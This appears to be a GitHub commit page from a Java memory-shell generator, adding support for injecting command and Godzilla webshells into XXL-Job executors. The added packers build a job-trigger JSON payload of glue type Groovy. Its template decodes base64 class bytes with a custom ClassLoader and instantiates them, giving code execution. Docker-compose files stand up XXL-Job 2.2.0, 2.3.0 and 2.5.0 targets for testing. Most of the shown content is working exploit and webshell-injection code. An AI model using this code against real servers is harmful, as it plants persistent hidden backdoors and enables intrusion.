-
Notifications
You must be signed in to change notification settings - Fork 59
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
feat: support xxl-job executor NettyHandler (#30)
Only support jdk8, in jdk11 or jdk17 env, you should use file write and use urlClassLoader to load injectorClass or else.
- Loading branch information
Showing
51 changed files
with
1,042 additions
and
335 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
30 changes: 30 additions & 0 deletions
30
generator/src/main/java/com/reajason/javaweb/memshell/XxlJobShell.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,30 @@ | ||
package com.reajason.javaweb.memshell; | ||
|
||
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler; | ||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler; | ||
import com.reajason.javaweb.memshell.xxljob.injector.XxlJobNettyHandlerInjector; | ||
import org.apache.commons.lang3.tuple.Pair; | ||
|
||
import java.util.Map; | ||
|
||
/** | ||
* @author ReaJason | ||
* @since 2025/1/21 | ||
*/ | ||
public class XxlJobShell extends AbstractShell { | ||
public static final String NETTY_HANDLER = "NettyHandler"; | ||
|
||
@Override | ||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() { | ||
return Map.of( | ||
NETTY_HANDLER, Pair.of(CommandNettyHandler.class, XxlJobNettyHandlerInjector.class) | ||
); | ||
} | ||
|
||
@Override | ||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() { | ||
return Map.of( | ||
NETTY_HANDLER, Pair.of(GodzillaNettyHandler.class, XxlJobNettyHandlerInjector.class) | ||
); | ||
} | ||
} |
4 changes: 4 additions & 0 deletions
4
generator/src/main/java/com/reajason/javaweb/memshell/config/GenerateResult.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
47 changes: 47 additions & 0 deletions
47
generator/src/main/java/com/reajason/javaweb/memshell/packer/XxlJob230Packer.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,47 @@ | ||
package com.reajason.javaweb.memshell.packer; | ||
|
||
import com.alibaba.fastjson2.JSONObject; | ||
import com.alibaba.fastjson2.JSONWriter; | ||
import com.reajason.javaweb.memshell.config.GenerateResult; | ||
import org.apache.commons.io.IOUtils; | ||
|
||
import java.io.IOException; | ||
import java.nio.charset.Charset; | ||
import java.util.Objects; | ||
|
||
/** | ||
* @author ReaJason | ||
* @since 2025/1/21 | ||
*/ | ||
public class XxlJob230Packer implements Packer { | ||
String template = ""; | ||
|
||
public XxlJob230Packer() { | ||
try { | ||
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/XXL-Job-DefineClass-230.java")), Charset.defaultCharset()); | ||
} catch (IOException ignored) { | ||
|
||
} | ||
} | ||
|
||
@Override | ||
public String pack(GenerateResult generateResult) { | ||
String source = template | ||
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str()) | ||
.replace("{{className}}", generateResult.getInjectorClassName()); | ||
JSONObject jsonObject = new JSONObject(); | ||
jsonObject.put("jobId", 1); | ||
jsonObject.put("executorHandler", "demoJobHandler"); | ||
jsonObject.put("executorParams", "demoJobHandler"); | ||
jsonObject.put("executorBlockStrategy", "COVER_EARLY"); | ||
jsonObject.put("executorTimeout", 0); | ||
jsonObject.put("logId", 1); | ||
jsonObject.put("logDateTime", System.currentTimeMillis()); | ||
jsonObject.put("glueType", "GLUE_GROOVY"); | ||
jsonObject.put("glueSource", source); | ||
jsonObject.put("glueUpdatetime", System.currentTimeMillis()); | ||
jsonObject.put("broadcastIndex", 0); | ||
jsonObject.put("broadcastTotal", 0); | ||
return JSONObject.toJSONString(jsonObject, JSONWriter.Feature.PrettyFormat); | ||
} | ||
} |
47 changes: 47 additions & 0 deletions
47
generator/src/main/java/com/reajason/javaweb/memshell/packer/XxlJobPacker.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,47 @@ | ||
package com.reajason.javaweb.memshell.packer; | ||
|
||
import com.alibaba.fastjson2.JSONObject; | ||
import com.alibaba.fastjson2.JSONWriter; | ||
import com.reajason.javaweb.memshell.config.GenerateResult; | ||
import org.apache.commons.io.IOUtils; | ||
|
||
import java.io.IOException; | ||
import java.nio.charset.Charset; | ||
import java.util.Objects; | ||
|
||
/** | ||
* @author ReaJason | ||
* @since 2025/1/21 | ||
*/ | ||
public class XxlJobPacker implements Packer { | ||
String template = ""; | ||
|
||
public XxlJobPacker() { | ||
try { | ||
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/XXL-Job-DefineClass.java")), Charset.defaultCharset()); | ||
} catch (IOException ignored) { | ||
|
||
} | ||
} | ||
|
||
@Override | ||
public String pack(GenerateResult generateResult) { | ||
String source = template | ||
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str()) | ||
.replace("{{className}}", generateResult.getInjectorClassName()); | ||
JSONObject jsonObject = new JSONObject(); | ||
jsonObject.put("jobId", 1); | ||
jsonObject.put("executorHandler", "demoJobHandler"); | ||
jsonObject.put("executorParams", "demoJobHandler"); | ||
jsonObject.put("executorBlockStrategy", "COVER_EARLY"); | ||
jsonObject.put("executorTimeout", 0); | ||
jsonObject.put("logId", 1); | ||
jsonObject.put("logDateTime", System.currentTimeMillis()); | ||
jsonObject.put("glueType", "GLUE_GROOVY"); | ||
jsonObject.put("glueSource", source); | ||
jsonObject.put("glueUpdatetime", System.currentTimeMillis()); | ||
jsonObject.put("broadcastIndex", 0); | ||
jsonObject.put("broadcastTotal", 0); | ||
return JSONObject.toJSONString(jsonObject, JSONWriter.Feature.PrettyFormat); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,30 @@ | ||
import com.xxl.job.core.handler.IJobHandler; | ||
|
||
import java.util.Base64; | ||
|
||
public class DemoGlueJobHandler extends IJobHandler { | ||
|
||
public static class Definder extends ClassLoader { | ||
public Definder() { | ||
super(Thread.currentThread().getContextClassLoader()); | ||
} | ||
|
||
public Class<?> defineClass(byte[] bytes) { | ||
return defineClass(null, bytes, 0, bytes.length); | ||
} | ||
} | ||
|
||
public void execute() throws Exception { | ||
String base64Str = "{{base64Str}}"; | ||
String className = "{{className}}"; | ||
try { | ||
Class.forName(className); | ||
} catch (ClassNotFoundException e) { | ||
try { | ||
new Definder().defineClass(Base64.getDecoder().decode(base64Str)).newInstance(); | ||
} catch (Throwable ee) { | ||
ee.printStackTrace(); | ||
} | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,42 @@ | ||
import com.xxl.job.core.biz.model.ReturnT; | ||
import com.xxl.job.core.handler.IJobHandler; | ||
|
||
public class DemoGlueJobHandler extends IJobHandler { | ||
|
||
public static class Definder extends ClassLoader { | ||
public Definder() { | ||
super(Thread.currentThread().getContextClassLoader()); | ||
} | ||
|
||
public Class<?> defineClass(byte[] bytes) { | ||
return defineClass(null, bytes, 0, bytes.length); | ||
} | ||
} | ||
|
||
public ReturnT<String> execute(String param) throws Exception { | ||
String base64Str = "{{base64Str}}"; | ||
String className = "{{className}}"; | ||
try { | ||
Class.forName(className); | ||
} catch (ClassNotFoundException e) { | ||
try { | ||
new Definder().defineClass(decodeBase64(base64Str)).newInstance(); | ||
} catch (Throwable ee) { | ||
ee.printStackTrace(); | ||
} | ||
} | ||
return ReturnT.SUCCESS; | ||
} | ||
|
||
public static byte[] decodeBase64(String base64Str) throws Exception { | ||
Class<?> decoderClass; | ||
try { | ||
decoderClass = Class.forName("java.util.Base64"); | ||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null); | ||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); | ||
} catch (Exception ignored) { | ||
decoderClass = Class.forName("sun.misc.BASE64Decoder"); | ||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
17 changes: 17 additions & 0 deletions
17
integration-test/docker-compose/xxl-job/docker-compose-220.yaml
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
services: | ||
admin: | ||
image: reajason/xxl-job:2.2.0-admin | ||
depends_on: | ||
- db | ||
ports: | ||
- "8080:8080" | ||
executor: | ||
image: reajason/xxl-job:2.2.0-executor | ||
depends_on: | ||
- admin | ||
ports: | ||
- "9999:9999" | ||
db: | ||
image: mysql:8 | ||
environment: | ||
- MYSQL_ROOT_PASSWORD=root |
17 changes: 17 additions & 0 deletions
17
integration-test/docker-compose/xxl-job/docker-compose-230.yaml
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
services: | ||
admin: | ||
image: reajason/xxl-job:2.3.0-admin | ||
depends_on: | ||
- db | ||
ports: | ||
- "8080:8080" | ||
executor: | ||
image: reajason/xxl-job:2.3.0-executor | ||
depends_on: | ||
- admin | ||
ports: | ||
- "9999:9999" | ||
db: | ||
image: mysql:8 | ||
environment: | ||
- MYSQL_ROOT_PASSWORD=root |
17 changes: 17 additions & 0 deletions
17
integration-test/docker-compose/xxl-job/docker-compose-250.yaml
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
services: | ||
admin: | ||
image: reajason/xxl-job:2.5.0-admin | ||
depends_on: | ||
- db | ||
ports: | ||
- "8080:8080" | ||
executor: | ||
image: reajason/xxl-job:2.5.0-executor | ||
depends_on: | ||
- admin | ||
ports: | ||
- "9999:9999" | ||
db: | ||
image: mysql:8 | ||
environment: | ||
- MYSQL_ROOT_PASSWORD=root |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.